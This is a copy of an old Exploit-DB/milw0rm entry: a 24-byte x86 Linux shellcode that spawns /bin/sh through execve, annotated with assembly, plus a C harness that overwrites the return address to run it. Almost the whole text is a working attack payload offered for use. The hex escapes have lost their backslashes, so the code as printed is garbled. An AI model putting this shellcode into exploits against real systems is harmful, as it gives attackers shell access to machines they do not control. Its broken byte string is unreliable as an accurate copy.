https://www.exploit-db.com/exploits/13444

漏洞细节尚未披露

/* 
 * [email protected]
 * 
 * execve(/bin/sh).
 *
 * 24 bytes. es lo mas chica que se puede hacer.
 *
*/
char shellcode[]=
"x31xc0"                      // xorl         %eax,%eax
"x50"                          // pushl        %eax
"x68x6ex2fx73x68"          // pushl        $0x68732f6e
"x68x2fx2fx62x69"          // pushl        $0x69622f2f
"x89xe3"                      // movl         %esp,%ebx
"x99"                          // cltd
"x52"                          // pushl        %edx
"x53"                          // pushl        %ebx
"x89xe1"                      // movl         %esp,%ecx
"xb0x0b"                      // movb         $0xb,%al
"xcdx80"                      // int          $0x80
;

main() {
        int *ret;
        ret=(int *)&ret+2;
        printf("Shellcode lenght=%dn",strlen(shellcode));
        (*ret) = (int)shellcode;
}

// milw0rm.com [2004-09-12]